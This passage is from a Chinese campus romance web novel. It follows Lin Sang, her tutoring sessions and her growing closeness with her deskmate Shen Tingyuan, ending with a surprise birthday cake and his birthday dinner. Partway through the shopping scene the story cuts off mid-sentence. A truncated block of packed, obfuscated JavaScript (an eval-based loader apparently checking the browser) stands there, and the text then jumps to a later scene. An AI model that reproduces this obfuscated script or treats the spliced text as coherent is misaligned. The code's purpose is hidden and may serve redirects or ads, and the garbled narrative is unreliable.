“还是我请你吧,”林桑说,“之前说好过的,一直没履行,时间长了我怕忘了。” 沈听原挑了下眉,笑道:“行,那下次我来。” …… 虽说是林桑请客,但地址和时间都是沈听原决定的,他发消息过来时,林桑刚给柳靳于讲完题。 何爷爷不在,她正好缺个人顶替。 “你一会儿没什么事吧?” 柳靳于最近沉迷于学习,他快速答完一题,没看她:“有话直说。” 林桑:“我一会儿得出去一趟,你帮我守会儿店。” 柳靳于点头:“去哪?” 林桑信口胡扯:“去奶奶那拿东西。” 柳靳于没多想,“嗯”了一声说:“去吧,注意安全。” 林桑挎上包出门,看着手机理了理头发,出了副食店后还是不太放心,索性跑去隔壁精品店里假装不经意地从镜子面前经过,确认一番后,她才随手拿了个发卡去结账。 从沈听原昨晚提起今天有时间,她也有时间的话吃饭就定在今天开始,她就一直纠结要穿什么衣服。 大半个衣柜的衣服都被她翻了出来,林桑当时躺在衣服堆里,突然觉得还是在学校好,穿校服就行,不用过度纠结。 失眠了一整晚,上网翻了一堆穿搭教程,一看衣柜,不是吊带长裙就是短袖短裤薄卫衣和长裤,颜色也五花八门的,跟打开了调色盘似的。 林桑试了几次,怎么都搭不出教程里的效果。 早上洗漱完后,林桑干脆一不做二不休,随手往衣柜一抓,抓出的正好是柳靳于之前送过来的那条素色长裙。 换好后,林桑又在发型上苦恼起来。 已经临近五月底,她头发长了不少,不知不觉已经从齐耳到齐肩。 她平时都是全部随手往后一扎,或是半扎。 这是他们第一次单独吃饭,她不想太过随意,思来想去,坐在梳妆台前编了奶奶教过她的鱼骨辫。 虽然早上出门前确认过无数次没什么问题,她还是不太放心,这会儿在精品店又确认一次,一颗忐忑不安的心总算被安抚不少。 怕耽误太多时间让沈听原等,林桑结完账出来,快步往公交站赶,走到副食店对面的拐角时,有人挡住了她的去路。 她抬眼,发现来人视线落在前方,她顺着他的视线看过去,沈听原的声音从头顶传来: “没打扰到你们吧,要不改天?” 林桑一时没反应过来,“啊”了一声。 沈听原下巴朝副食店一点:“你不是帮他补习吗,要是跟我出去吃饭会耽误的话,改天也可以的。” 听完这番话,林桑看着远处坐在柜台前低着头刷题的柳靳于,想到方才随口扯的谎,一股愧疚之心油然而生。 她别开眼:“今天的补习已经结束了,不 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前几次见他都是短袖搭长裤,那会儿天还没现在热,如今夏天来临热起来了,他穿得反倒多了起来。 熟悉的黑色鸭舌帽和黑裤,唯一的变化是上半身,黑色薄卫衣外还套了一件深色牛仔外套,饭馆里的老式风扇呼呼转着,林桑穿裙子都还觉得热,他却没任何反应。 也不知道是不是身体不太舒服。 要不要问一问呢,林桑心里打鼓。 突然,一个小女孩抱着一颗小小的皮球,歪歪扭扭地走了过来。 小女孩不过和桌子一般高,她走到林桑身边,好奇地瞪着一双水灵灵的大眼睛看她。 方才的想法全被抛到脑后,林桑抬手捂住桌角,低下头轻声问她:“你在看什么呀?” 小女孩还说不清话,笑着咿咿呀呀了一会儿后,抬手把手里的球递给林桑,林桑接过,小女孩伸着双手,等待她把球放到手里。 一来一回玩了几轮,小女孩手下一滑,球就咕噜一下滚了出去,她扭身想去捡,却因为步伐不稳,整个人直勾勾往旁边倒了下去。 眼看快要砸到另一侧桌角,林桑一手抱住小女孩,一手去捂桌角。 触碰到的,却是一片温热。 沈听原明明上一秒还在看手机,速度竟比她还要快。 一大一小的手交叠在桌角。 林桑瞥了一眼,急忙缩回手,把小女孩抱到怀里安抚。 初生牛犊不怕虎,小女孩压根不知道差点发生什么意外,拉着林桑裙子上装饰的丝带把玩,口水流了一地。 沈听原抽了两张纸起身,走到林桑身边蹲下,温柔细心地替小女孩擦起了口水。 “小口水娃,姐姐这么漂亮你也舍得蹭她一身口水。” 漂亮…… 林桑心不自觉一跳。 不敢看他。 小女孩哪听得懂他的话,咧嘴冲他一笑。 那一笑,萌得不行。 沈听原手顿住,捂脸轻叹一声道:“我真服了。” 他这幅反应,林桑忍不住轻笑,她捏了捏小女孩肉乎乎的脸:“怎么这么可爱啊你。” 小女孩的妈妈是饭店里的员工,出来上菜的时候发现小女孩一直缠着他们玩球,连忙把小女孩抱走了。 菜上齐后,林桑才知道沈听原去柜台不是和老板交代忌口的。 她看着桌上的菜,心里五味杂陈,没想到他还记得,但是这菜—— 未免太多了点! 沈听原便没有察觉到异样,用和服务员多要来的筷子认真挑着鸡蛋,把两盘番茄炒蛋的鸡蛋都挑进林桑碗里后,他才放下筷子,换了自己的筷子开始夹菜。 林桑迟迟不动筷,沈听原抬眼:“不合胃口吗?” “没有。”林桑说,“谢谢,但是……” 她顿了顿,还是一鼓作气说了出来:“吃不了这么多的,我哥上次点两份是怕给我挑了一份你们就没得吃了。” 沈听原面上有一瞬愕然,他在后劲上摸了一把:“抱歉,我不该东施效颦,应该提前问一下的。” 他顿了顿,自嘲道:“一起吃过一次饭就自作主张觉得了解你的口味和习惯了。” 林桑莫名有些后悔,以后估计都没机会单独吃饭,明明可以不说的。 她摇摇头:“没事的。” “那个……”沈听原拿着碗伸到她面前,轻咳一声,“你吃不了的话,给我吧。” 满满一大碗鸡蛋,林桑还真吃不了,她接过沈听原递过来的筷子,扒了一半给他。 …… 吃完饭后,林桑去结账,发现沈听原已经结过了。 林桑转头,沈听原站在她身后,神情无辜:“不好意思啊,我爸从小就教育我不能让女孩子买单,忘了是你请客了。” “这次时间地点也是我定的,当我请,下次你来,我尽量控制住。” 还有下一次…… 林桑抿唇:“好。” 两人从店里出来时,临近七点。 时值初夏,天黑的逐渐晚了些,火红的太阳悬在山头,周边云彩被渲染得一片殷红。 沈听原抬手看了眼时间,“你要回去守店吗?” 林桑点头:“嗯。” 沈听原:“那我送你过去。” …… 云亭的公交不是巴车,而是和旅游观光车差不多,一路上清风徐徐吹过,沈听原身上淡淡的香味被风卷动,迎面而来,林桑不自在地把脸撇向另一方。 蓦地,手臂被人轻轻碰了碰。 林桑扭过头:“怎么了?” “我看了你给的提分手册。”沈听原说,“其中一条是可以多听英文歌,我平时没怎么听过,你能不能给我推荐几首。” 林桑当时写这条的时候也没考虑这一方面,她打开手机:“我有个歌单,Q/Q上分享给你,就是有些可能需要开会员才能听。” 沈听原:“好。” 路程不长,五分钟就到,下车后沈听原一路送林桑到副食店旁边,快到门口时,林桑被他喊住。 “林同学,我周末要是碰上不会的题能不能过来找你,不会耽误你太多时间的。” “要是不行的话,也没事,我标记好了周一再找你问。” “当然可以,”林桑说,“但你要过来的话记得提前和我说一声,我有些时候不在店里。” “好,那明天见。” 林桑答应的时候没想到沈听原是个十足的行动派,嘴上说着明天见,隔天她过去开门的时候他还真就背着书包拎着早点站在副食店门口了。 她翻出钥匙弯下腰开门:“你怎么这么早,也没提前说,万一我没过来你岂不是白等了。” 沈听原帮着她把卷帘门拉上去:“我早上也没什么事干就想着过来碰碰运气,昨晚碰到几道不会的题,做不出来抓心挠肝的,求知欲特别强。” 等林桑给沈听原讲完那几道题,正好九点。 柳靳于拎着书包,顶着一头酷似海胆的头准时出现在门口。 发现自己的位置已经被人占据,他先是一愣,然后定在原地探着头细看,一脸茫然。 “什么情况?” 12. 第 12 章 林桑坐在沈听原和柳靳于中间,视线左右飘忽,如芒在背。 她以为沈听原解决完那几道昨晚标记好的题就会离开的,没想到他非但没有离开的意思,还从书包里翻出一本英语辅导书心无旁骛地做起了题。 柳靳于站在一旁,不爽地顶腮:“这是我的位置。” 沈听原笔尖一顿,看向林桑:“是吗?” “那我马上收完东西走人,很快的,不会耽误你们。” 看他手忙脚乱地收拾着摊开在柜台上的书,林桑有些不忍:“不用收,休息室还有凳子,我去找找。” 她说着,往休息室走,顺手揪着柳靳于的袖子把人带到了休息室。 林桑往外瞅了一眼,确认沈听原没往这边看,关上休息室门小声说:“柜台那么大,反正坐得下嘛,再搬个椅子就是了,别那么较真。” 柳靳于“哼”了一声:“你什么时候这么闲了,一次性给两个人补习。” 林桑示意他小点声,柳靳于朝着门边用更大的音量道:“你自己呢,不顾了?” 林桑急得在他手上使劲抓了一把:“小声点啊。” “我当然是在不会影响到我自己的前提下来帮他的,你也一样啊,但凡我没精力,我谁也不帮。” 柳靳于盯着紧闭的门,眼神复杂,垂眼叹了口气,“知道了,出去吧,椅子我自己搬。” 然后,就成了现在这番局面。 柳靳于和沈听原各自刷着手里的题,期间两人多次同时转过身准备问她题,对视一眼后,也不知道较什么劲,转头自己研究去了。 反常。 太过反常。 他们都安静做着题,静不下心的人只有她。 她得暂时远离这个是非之地。 林桑深吸一口气,缓缓试探道:“你们……喝不喝奶茶?” 她话音一落,坐在门口的柳靳于腾地起身:“我去。” 他耷拉着眼皮,视线落在沈听原身上:“那谁,你喝什么?” 沈听原缓缓抬起眼,指着桌上的水杯说:“不麻烦,我喝水。” 柳靳于扯了下嘴角:“我也就随口意思一下,不喝拉倒。” 柳靳于走后,身侧的人说了什么,路边有摩托车经过,喇叭声太大,林桑没听清。 她扭头:“你刚才说了什么?” 沈听原低垂着眼:“没什么,就是你朋友好像不太喜欢我。” 林桑愣了一下,“他脾气就这样,没别的意思,你别误会。” “他跟我哥认识那么长时间,每次见面都还是这个样呢。” 沈听原“嗯”了一声,也不知道信没信。 他低头开始看题,林桑也没再说话。 …… 没多久,柳靳于回来了,他出门前嘴上虽那么说,手里却拎了三杯奶茶。 给沈听原买了和自己一样的珍珠奶茶,给林桑买的则是抹茶奶盖。 柳靳于把奶茶戳开递给林桑,对上沈听原的视线,他眼珠一转,邀功似的说:“你是不知道,他家现在老喜欢用盐盖,还好我及时发现让他换了奶盖。” 林桑接过喝了一口:“我之前去的时候他跟我说换盐盖后没多少人喜欢不做了来着。” 柳靳于说:“我看他进了不少货,肯定是怕损失你这个老顾客骗你的。” 两人聊得很投入,林桑放下奶茶时没注意桌上的笔,手一松,奶茶底部一滑倒了下去。 好在只从边缘撒了一点出来,没碰到书。 她还没反应过来,沈听原已经从兜里摸出一包纸巾,扯出一张纸将柜台擦拭干净。 一旁柳靳于注意到他手里的纸巾,不解道:“这纸糙得要死,除了你竟然还有受众。” 沈听原不紧不慢地把纸放回兜里:“也没那么难用,我第一次用就是她给的,后来跑了好多家店才买到。” 那个买纸巾的人,原来是他。 “嗡”地一声,有个想法在脑海里炸开。 林桑微微张着嘴,思维被那个异想天开的念头牵制住,一时不知道该说些什么。 柳靳于冷哼了一声:“三无产品,你也就能在何老头店里买到,别怪我没提醒你,这纸用来擦擦水什么的就行,其他时候用了出问题可别赖我们头上。” 他用的是“我们”。 沈听原下意识看了眼林桑,微微眯了眯眼睛,周身气压降了不少,不容置喙地说:“不牢你费心。” 他说完,将东西收进包里拉上拉链,脸上带着温和的笑看着林桑,语气也很轻:“我想起早上洗的衣服没晒,先走了。” “下次碰上不会的题又过来。” 前后两幅面孔,仿佛只是她的错觉,林桑大脑迟缓地运转着,愣愣地点了下头。 等她缓过神,沈听原已经走到对面,他背对着她,背影宽阔修长,像是身后长了眼睛,他抬起右手挥了挥,随后消失在路口。 林桑咬着唇,看着空荡的路口出神。 “嘿!这题怎么做?” 林桑思绪被拉回,低头看桌上的习题:“哪题?” “……” * 窗外渐渐有了此起彼伏的蝉鸣,没空调没风扇的教室像是一个巨大的蒸笼。 下午的课本就难上,天气一热,学生一个个焉得如同烈日下的小秧苗,哪还有心思听课。老师一遍一遍说着“心静自然凉”,说了几次,估计自己也有些难以忍耐,放弃讲新课,让所有人都翻出上一次月考的试卷。 林桑的试卷都是放在文件袋里分好类的,一下就找到了。 老师已经讲起了试卷,旁边在抽屉里翻找的动静不停。 沈听原的试卷全都是折叠好了码在桌肚里,虽说不是随意放的,但他没分类,放的时候一个没注意就容易找不到。 林桑往讲台上看了一眼,低声说:“要不你先跟我用一份吧。” 沈听原停下动作,往她的方向挪了挪:“好,麻烦了。” 两人挨得很近,近到林桑能直观地感受他微微的喘息声,清晰地看到他右眼下睫毛中间有一颗细小的痣,因为藏在睫毛根部,是正常交际距离下无法发现的。 林桑没忍住偷偷看了两眼,猛然间和沈听原对上视线。 他轻笑,看了眼台上写板书的老师,意味深长道:“林同学,不能开小差啊。” “我就在这又不会跑,下课再看呗。” 林桑石化一般愣住,一张脸慢慢涨得通红,窘迫到恨不能变成窗外枝头上叫唤不停的蝉,躲在浓密的树荫里,让人找寻不得。 沈听原手肘撑在桌上,好整以暇地看着她,尾音缱绻:“带坏同桌,可是会被班主任问责的哦。” 他姿态懒散,语调漫不经心,像个胜券在握的常胜将军。 林桑只觉后背沁出不少汗,黏腻,冰凉。 她往旁边移了一点,捂住耳朵不看他,手下的试卷也不要了,反正她错的不多,还提前做好了纠正,听不听都没事, 下课后,沈听原像个没事人一样,慢悠悠晃出教室,走到走廊站定,和旁边的人勾肩搭背聊起了天。 徒留林桑一个人受心绪折磨。 …… 晚上回寝室的路上,方倚霏说她现在彻底玩完,和李宇栖处成好哥们了,尤其还从他口中得知他坚定不移要考东大,有点气馁了。 林桑心里想着事,压根没听到方倚霏问了她什么。 肩膀被她轻轻撞了一下,她才缓过神问:“你刚刚问我什么?” 方倚霏仰头看天,叹了口气:“我说我有点撑不了了,但一想到之前夸海口说我想去看海所以要考东大,搞得人尽皆知的,最后没考上多尴尬啊。” “该怎么办呢?” 林桑想了想说:“你们现在是朋友也算是件好事,很多人都是先做朋友后在一起的,还有机会啦。” 方倚霏不知想到什么,撇撇嘴说:“但愿吧。” “我的完了,到你了。”方倚霏说,“看你今天下午跟丢了魂一样,发生什么了?” “没什么。”林桑说,“今天他没找到试卷,我们一起看的,没忍住偷偷看了他两眼,被他发现了。” 方倚霏:“那他怎么说的?” 林桑面红耳赤地把沈听原说过的话重复了一遍。 方倚霏听完,摸着下巴分析:“凭借我饱览各色言情小说的经验,你信不信……” 她神神秘秘,林桑急得连忙追问:“什么?” “就是吧……”方倚霏吸了一口气说,“你有没有想过,他对你的想法,和你对他,是一样的。” 林桑呼吸凝滞,舔了舔唇,眼神闪躲,语无伦次囔囔道:“他就是,不是,他怎么可能,不会的……” “有个事我之前不太确定,怕你空欢喜一场,一直没跟你说。”方倚霏打断她。 换座位那天,李宇栖站在林桑旁边说话的时候,方倚霏紧张到不敢往旁边看,眼睛看着书,心思却放在他们的谈话上,得知新同桌是李宇栖的那一刻,说不开心是假的,开心完了,是紧张,忍不住开始审判自己身上的缺点。 看书箱里的书也开始不顺眼,总觉得没放整齐。 她偏着身子整理书的时候,沈听原从前门进来,眼睛直勾勾望着她身后,起初她也没多想,谁知李宇栖提出要帮忙的时候,走到一半的沈听原直接手撑在桌上跳了过来,他动作又轻又快,林桑没察觉。 方倚霏不可置信地瞪大眼睛,张着嘴看着他,下意识想伸手拍林桑时,被他给拦住了。 青春期的女孩子很敏感,几乎是沈听原手抵在唇边的同时,她就猜到了。 她本来打算将这件事偷偷告诉林桑,喜欢的人恰好也喜欢自己,这是多么难得的事,林桑一定会很高兴。 可从林桑口中得知成为同桌后他们都没怎么说过话,她又有点不太确定了。 难道沈听原只是如陈雪口中所说那般,在学习上帮不上忙,就在其他方面顺手帮一把。 她怎么想都觉得不对劲,私下观察了一段时间,发现沈听原每次去走廊的位置都是固定的,那个位置要是有人他还会跟人换位置。 每次站在那时,表面上跟人聊着天,却很懒散,只有一双眼睛看向教室里时,带了别样的温度。 后来她找到机会在那个位置站了一会儿,发现正好能看到林桑。 到这,勉强确认一半,觉得没有十足的把握,她又搜集了更多细节。 起初问林桑题的只有旁边的几个女生,后来开始有男生问她题,讲题的时候,距离再远也远不到哪去,那个时候,沈听原的神情像是要吃人。 那以后,他突然开始问林桑题不说,遇到了还会打招呼。 感情这种事,向来是当局者迷旁观者清。 他每次看向林桑时,眼底的情绪再怎么隐藏,旁人也一眼就能看出来。 她不禁想起网上那句话: ——“喜欢一个人时,眼神是藏不住的。” 至此,心里那个不确定的答案,彻底成了标准答案。 …… 林桑盯着远处零零碎碎的光出神。 宿舍在六楼,风一阵阵拂过她发烫的脸,也不知是不是现在的夜风都自带温度,脸上的温度不降反增。 方倚霏也不指望她能接话,吞了吞口水又继续道:“如果这些,你觉得是我误解的话,最最最重要的一点,一个人在什么情况下才会刻意记另一个人的喜好跟习惯,你好好想想。” 她一次性说了这么多,林桑有点消化不过来。 方倚霏不可能骗她,她深处其中,多多少少也能察觉到一点,但她总觉得这其中有些东西她怎么都理不通顺。 说不清道不明,像一根细线一点点缠住她,令她更加无法思考。 * 因为失眠,林桑第二天上课的时候都有点不在状态,更别提按方倚霏说的去观察沈听原的举动,从一些细节之处找破绽。 早上的课上得昏昏沉沉,午休过后林桑又满血复活,从宿舍楼下来的时候,看到宿管室前的小黑板上写的6月3号,距离高考还有4天,猛然想起她差点忘了个事。 虽然生日是明天,但明天是周末,没广播。 这是她能偷偷送他的,为数不多的礼物之一,她不想错过。 上午下课后沈听原都没待在教室,下午又一反常态待在座位上,不和任何人说话,不知道在想些什么。 怕被他发现,林桑只得在去吃饭的时候带上纸和笔,吃过饭后托方倚霏帮忙把碗带回教室,顺便帮她把一会儿要背的书带下来。 她挑了张小石桌,用最快的速度写完,然后一路狂奔到广播室。 她赶到时,正好放完最后一张投稿里的歌,广播室里的女生已经拿起结束的稿子准备念,靠门边的女生看到她,制止了同伴走过来。 林桑跑得上气不接下气,喘着气问:“是结束了吗?” “最近点歌投稿有点少,你来得正好。” 林桑松了一口气,“幸好赶上了。” 广播室里的女生接过纸条打开,看到上面的内容,笑着问林桑:“生日投稿还匿名,是什么样的人呢?” 林桑局促地绞着衣摆:“……是很重要的人。” 她朝女生鞠了一躬:“拜托了。” 女生会意,拦住她,“不用这样,我马上帮你播。” 林桑站在广播室门口,广播里有延迟,女生说的话她听了两遍。 “匿名投稿,点播一首南征北战的《我的天空》。” “来稿人留言,生日快乐。” 女生看了眼门口只露出一半的身子,轻笑着补上一句:“她说,是给很重要的人。” 音乐响起,林桑指尖颤了一下。 不知道。 他有没有听到。 * 公交车穿梭在群楼之间,路边的树和路灯融为一体,顷刻间变成残影消失在身后。 一整天,林桑和沈听原没有任何形式的交流,连不经意的眼神对视都没有。 方倚霏说的那些,难道只是她过度解读了。 那他帮她搬书,从跟她交流少之又少到后来主动打招呼,他惯用洁柔古龙水香纸巾却将那批三无纸巾买完随身携带,在理诏吃饭那次因为基本都是辣菜,吃到一半想点饮料发现没有冰镇的,他出门买时,杨思怡盯着她说的话,还有很多她一直以为只是巧合的事…… 这些,该怎么解释呢。 这也巧合,那也巧合,巧合一旦过多,必定是有人有意而为之。 即使那些真的是巧合,还剩下最重要的一点,他会记她的喜好和习惯。 林桑心里堵塞的沟渠只差一步就快畅通无阻,却又在经历这一天后把疏通的部分全都堵上了。 沈听原对她的态度时亲时远,她实在是琢磨不透。 回到家后,林桑冲了个澡,缠绕了几天的杂念总算消散了不少,却一点都不影响她失眠。 林桑看着手机,零点一刷新,留言板上果然出现几条新留言,有些她有好友,有些她虽然没有,昵称和头像已经记得滚瓜烂熟。 每年都是他们,在6月4号零点准时出现在沈听原空间里的留言板上。 林桑有些羡慕,他们不用像她这样,想留言要犹豫很久,最后以什么都没留结尾。 不用像她这样,访问他的空间要特意开黄钻后开通私密访问,生怕留下一点痕迹。 她又刷新两次,没再出现新的留言。 林桑从留言退出来,明知沈听原空间里的300条日志不对外开放,还是下意识点了一下,看到他没有公开日志的提示,她才返回点开访客栏,确保榜上无名后才放心地从沈听原空间退了出来。 她关了手机放在小腹上,盯着天花板出神。 手机突然振动几下,林桑打开一看,置顶那个聊天框后面有个红色的数字4。 最后一条消息是表情包,她不知道他发过来的消息是关于什么的。 她舔了舔干涩的唇,犹豫几次才点开。 【Banana:睡了吗?】 【Banana:今天我生日。】 【Banana:下午打算在缘和聚饭店叫上熟悉的朋友一起吃个饭,你能来吗?】 【Banana:能吗能吗.jpg】 林桑忍住想要尖叫的冲动,腾地从床上跳起来。 短短四条消息,她逐字逐句读了五遍后才从沈听原邀请她一起过生日的震惊中缓过神来。 林桑指尖不受控制地微微发抖,一句“生日快乐”和一个“能”字,打错了几次才成功发送。 那边回的很快,一个“好哒”表情包。 林桑心情难以平复,她没再回,把手机息屏放到床头柜上。 她盯着天花板,思考着如果借着这个机会解决了心里的疑虑,她该做什么选择。 内心的喜悦难以抑制,可高兴之余,又是忧愁。 她从来没想过,除了在广播站祝他生日快乐为他点播他最喜欢的歌,以及在Q/Q厘米秀里偷偷给他送花,她还有机会送他其他礼物。 了解沈听原喜好的人中,她能征求意见的人只有汪亿涵,可她手机又被收了,联系不上。 林桑重新拿起手机,询问方倚霏送男生什么生日礼物合适,发完想起方倚霏还没手机,只能打开浏览器搜索。 * 林桑把云亭的精品店都逛完了也没选到合适的礼物,她在Q/Q上给方倚霏发的消息一直到中午方倚霏拿到手机时才收到回复。 林桑看完她发过来的消息,更愁了。 方倚霏说在她的认知里能送男生的礼物无非就是围巾手表球鞋之类的。 现在夏天,围巾用不到,送表和球鞋,又不太合适。 林桑又问还有没有其他选择,方倚霏说天气这么热,要不送件T恤吧。 林桑觉得这个提议不错,可她不知道他的衣服尺码。 方倚霏说高一订校服的时候量过身高,一中的校服最大码是185,超过185就得单独定制,刚开学那段时间在学校穿便装的就是超185的,沈听原一直穿的都是校服,估计在185以内,就是不知道这半年多里长没长。 林桑想了想,沈听原身形和林景差不多,只不过林景比他稍微要健壮一些,按林景的码买应该不会出错。 方倚霏要回寝室洗衣服,也不能出来帮着她参考,林桑站在店门口,来回踱步,终于鼓起勇气走了进去。 导购热情地迎了上来,见她一个人,导购问道:“今天就你一个人呀,要不要试试新款?” 这个牌子的衣服鞋子林景也很喜欢穿,林桑跟着他来过很多次,也买过不少衣服鞋子,但第一次一个人来,而且是为了给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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生日有很大的几率没开始就因为被人打断而结束,沈听原一时间紧张到手心冒汗。 就在他续完第四杯水,准备询问林桑是否需要帮忙的时候,林桑总算合上柜门转过身来。 她手里拿了个丝巾一样的东西,看着他表情有些纠结,沈听原放下水壶,问:“怎么了?” 林桑默了一会儿才小声支支吾吾道:“你……能不能……闭会儿眼。” 屋内就他们两个人,室外偶尔会传来一些杂乱的声音,但很快便会消散,她声音虽小,这话却实实在在落到了沈听原耳中。 沈听原用行动给了她回答,配合地闭上了眼。 林桑犹豫一会儿,还是走到沙发边把丝巾覆在他眼上,手绕到他脑后打了个松垮的结。 做完这些后,她跑到窗边拉窗帘,窗帘有些年头,上面的扣松了几个,要严丝合缝拉上有些艰难。 她费力地跳着,努力阻挡想要窥探她心事的光线。 这栋楼位置不太好,休息室又位于一楼靠里的位置,窗外是一座高楼,采光很差,窗帘全都拉上,屋里瞬间陷入黑暗,林桑小心翼翼地将蛋糕放到矮桌上。 一抬头发现沈听原眼睛上的丝带不知道什么时候掉了,她莫名很紧张,没怎么看他,低着头把蛋糕的角度调了又调才说:“可以睁眼了。” 沈听原微眯的眼严丝合缝闭上,薄薄的眼皮颤动几下后,他才缓慢睁开眼,伸手拿下挂在脖子上的丝巾。 虽然猜到了林桑要做什么,可真正看到的时候,那种心情,很难形容。 总之,是他出门一路狂奔十里地都不能冷静的程度。 林桑一直坐在矮墩上观察着他的表情,可烛光微弱,他的脸时不时处于黑暗之中,她难以分辨。 提出在副食店提前过生日的人是他,真到了这个时候,他情绪却没多大的波动,冷静得过分。 再怎么说,都应该有一丝高兴的吧。 林桑有些低落:“是不是毫无新意,太无聊了?” 沈听原心中有无数个小人在高歌,在呐喊。 听到林桑的声音,他脑中断掉的那根线重新连接,迟缓的思维重新回归正轨。 “没。” “我现在有点激动,你给我一点时间,我得缓会儿。” 林桑不禁失笑,心底有一丝喜悦划过,她看着蛋糕上摇曳着的火焰:“还是先许个愿吧,一会儿蜡烛没了。” 沈听原手肘支在膝上,笑:“想耍个无赖。” “什么?” “给唱个生日歌呗,林同学。” 距离太近,感受到他说话的气息清晰地在耳边晃动,林桑脸部升温,尽量不和他对视:“我唱歌不好听。” “你这半个音节都没唱呢,怎么就先下定论了。”沈听原笑着说,“好不好听我得亲自确认。” 林桑顿了顿,“那我唱一个,不好听你不能笑话我。” 沈听原应得爽快,“好。” 一首轻快的生日歌,因为她过于紧张,唱得格外沉重,磕磕巴巴总算唱完,林桑长吁一口气。 蜡烛已经燃尽,林桑重新找了一根点上:“许愿吧。” 沈听原俯下身,看着她说:“祝愿林同学——” “求有所满,铮铮向上,永驻顶峰。” 透过蜡烛微弱的光,林桑看到了少年脸上发自内心的坦诚的祝福。 她慌了神,语无伦次地说: “生日愿望说出来就不灵了。” “对,不灵。” “蜡烛应该还有,我重新点。” “你等我一会儿,就一会儿……” 她嘴上喋喋不休地开始找蜡烛,沈听原攥住她的手腕,“不用,我不信那些,我许了就一定灵。” 林桑:“那也没人生日愿望不许自己的啊。” 沈听原挺无所谓,“多大点事嘛,生日愿望可以许很多个,我就是……” 他停了一瞬才道:“想把第一个愿望给重要的人。” “剩下的,我晚上再许就行。” 重要的人…… 林桑被这几个字眼弄得失了神,许久才反应过来,尽量不在这个重要关头去深究,决绝道:“不行,还是得重新许,许一个跟你相关的。” 她重新点上蜡烛,沈听原扬眉看她:“那就……” “希望以后每一个生日,都有眼前人相陪。” 嗡—— 林桑脑子里一片空白,她愣神看着那双明澈柔和的眼睛从清晰到淹没在黑暗中。 狭小的休息室内陷入短暂的寂静。 蜡烛又燃尽了,沈听原从兜里掏出手机打开手电筒,他很远就看到林桑手里提的东西,但因为有点近视没怎么看清上面的图案,林桑走近后又藏得很快,他没来得及细看。 现在一看发现上面是他喜欢的动漫人物,还挑了他最喜欢的一幕,而蛋糕的周围,则是他的名字字母,三个字母用了不同的颜色,各个工整可爱。 林桑思绪乱如麻,勉强缓过神,被他仔细端详蛋糕的样子弄得有些尴尬,那点自信也忽地没了:“是太丑了吗?” “很好看。”沈听原说,“你怎么知道我喜欢杀生丸的?” 她一直都知道,甚至因为他喜欢,特意把《犬夜叉》看了很多遍。 林桑舔了舔干涩的唇,下意识掩饰道:“不知道你喜欢什么,想去你空间找找蛛丝马迹,在精选照片里看到的。” 她说着,拿过放在一旁的购物袋递给他,本想直接喊他名字,又觉得有点太过官方,林桑斟酌两秒才开口道:“沈同学,祝你生日快乐。” 沈听原接过,低垂着眼,轻笑出声:“有心了,谢谢林同学。” …… 这场生日并没有进行到切蛋糕的环节。 沈听原看着矮桌上的蛋糕怎么也下不了手,将蛋糕带回了家。 林桑一直到他走远了才想起没问他过来是有什么事,她回到休息室翻出手机,刚解完锁,沈听原气喘吁吁地出现在门口。 “差点把正事给忘了,吃饭时间定在七点,地点昨晚说过的,缘和聚饭店。” 林桑微怔,点点头:“其实你发消息跟我说一声就好了,不用这么麻烦的,还亲自跑一趟。” 沈听原看着她,认真道:“不一样。” “而且,我要是不过来,就错过了一个完美的生日。” “轰隆”一声巨响,林桑心里那道阻塞的沟渠变得畅通无阻。 短暂的独处下,他虽没明确地提出,林桑却觉得一切已经清晰明朗。 那种感觉,宛若碰上一道你试了无数种方式依旧解不出的题,一直横亘在心中,有人随口指点一句,你便醍醐灌顶。 再愚钝的人,从一个人那里体会过几次不一样后,多多少少都会察觉到这个人对自己存有的心思。 只是大多数时候,我们都会选择质疑。 然后,在某个瞬间,豁然开朗。 此时此刻,比后怕更多的,是庆幸。 庆幸她豁然开朗的时间不算晚。 庆幸她没有一直质疑少年暗藏的真心。 13. 第 13 章 缘和聚饭店是云亭最大的饭店,酒店和饭店为一体,经常承接各种大大小小的宴席,装修以中式宫廷风为主。 林桑站在台阶下,仰头盯着眼前宏伟的朱红色实木大门看了几秒才走上台阶,和门口的服务员报了沈听原的名字和包厢后,她才在服务员的带领下往里走。 林桑跟着服务员穿过了一个又一个飘荡着悠扬曲调的廊道,还没到包厢,先在门口碰上了林景。 林景和一个林桑面生的男生站在包厢外,两人指尖夹了烟,同频吐出一圈白烟,不知道在聊些什么。 见到她,林景掐了烟走过来:“你怎么在这?” “我请我同桌一起过个生日,有问题?” 林桑和林景同时朝声音的主人看去。 沈听原站在林桑身后,手里拎了一个水果蛋糕,比她做的那个大了许多。 几个小时前沈听原穿的还是一身黑,这会儿却已经换了一身衣服,黑色胸前带图案的T恤,浅蓝色牛仔裤,白色空军鞋子,手臂上搭了一件灰色帽衫外套。 这次没了标志性的鸭舌帽,碎发盖在额前,略微蓬松,给人一种休闲恬静的感觉。 林桑看了一会儿才猛然反应过来—— 黑色。 胸前带图案。 T恤。 虽然买的时候很仓促,她都没怎么细看上面的图案,但大致还记得。 他穿着她买的T恤,不知为何,比起欣喜,更多的是心虚和紧张。 尤其林景的声音响起时,她更是紧张到下意识绷直了背,连呼吸都停了。 林景没察觉到她的心绪,“哦”了一声后看向她空落落的双手。 “人过生日你空手来,什么时候变这么抠门了。” “我……”实话实说林景势必会追问,林桑一时卡壳,没找到合适的借口。 沈听原走上前,推着林景往包厢走:“礼物自然不会少,不用你费心,快进去坐,一会儿要上菜了。” 他说着,偏过头笑着朝林桑眨眨眼,示意她跟上。 菜上齐后,在场的人比寿星还要兴奋,举起酒杯一个一个起身祝沈听原生日快乐。 喝的是本地烤的包谷酒,度数很高,饶是酒量再好,也经不住这么折腾。 几杯下肚,沈听原脸颊泛起红晕,撑着头摆手投降。 桌上都是熟人,自然不会为难他,转头就互相比划着拳喝了起来。 林桑出包厢替他要了一杯热水,其他人都沉浸在划拳里,杨思怡虽然没参与,但一直在看手机,没人注意到这边。 她把热水在两个杯子里倒了几次,滴在虎口试完温度才将杯子推到他面前。 “喝点水缓一缓。” 沈听原喝了一口,低头凑在她耳边悄声道:“我不喜欢喝白酒,装的,没事。” 